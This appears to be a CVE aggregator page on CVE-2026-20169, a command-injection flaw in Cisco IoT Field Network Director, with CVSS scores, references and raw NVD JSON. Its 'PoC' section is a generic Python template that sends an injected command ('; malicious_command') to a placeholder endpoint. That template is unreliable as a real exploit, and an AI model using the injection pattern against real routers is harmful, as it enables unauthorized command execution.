CVE-2026-20169

Description

A vulnerability in the web-based management interface of Cisco IoT Field Network Director could allow an authenticated, remote attacker with low privileges to access files and execute commands on a remote router. This vulnerability is due to insufficient input validation of user-supplied data. An attacker could exploit this vulnerability by submitting crafted input in the web-based management interface. A successful exploit could allow the attacker to create, read, or delete files and execute limited commands in user EXEC mode on a remote router.

CVSS Details

CVSS Score

6.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Cisco IoT Field Network Director (具体受影响版本请参考Cisco官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Exploit Title: Cisco IoT FND - Remote Code Execution (CVE-2026-20169)
# Description: PoC for authenticated command execution via crafted input.

target_url = "https://<target-ip>/management/api endpoint"
session = requests.Session()
session.auth = ("low_priv_user", "password")

# Crafted input to trigger command execution
# Replace with the actual payload and parameter based on technical analysis
payload = {
    "vulnerable_param": "legitimate_value; malicious_command"
}

headers = {
    "Content-Type": "application/json",
    "User-Agent": "Mozilla/5.0"
}

try:
    response = session.post(target_url, json=payload, headers=headers, verify=False)
    if response.status_code == 200:
        print("[+] Payload sent successfully.")
        print("[+] Response:", response.text)
    else:
        print("[-] Failed to send payload.")
except Exception as e:
    print(f"[-] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-20169
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-20169
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-20169/
[4] VulDB https://vuldb.com/cve/CVE-2026-20169
[5] https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iot-fnd-dos-n8N26Q4u

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-20169", "sourceIdentifier": "[email protected]", "published": "2026-05-06T17:16:20.743", "lastModified": "2026-05-06T18:59:53.230", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the web-based management interface of Cisco IoT Field Network Director could allow an authenticated, remote attacker with low privileges to access files and execute commands on a remote router.\r\n\r\nThis vulnerability is due to insufficient input validation of user-supplied data. An attacker could exploit this vulnerability by submitting crafted input in the web-based management interface. A successful exploit could allow the attacker to create, read, or delete files and execute limited commands in user EXEC mode on a remote router."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-77"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iot-fnd-dos-n8N26Q4u", "source": "[email protected]"}]}}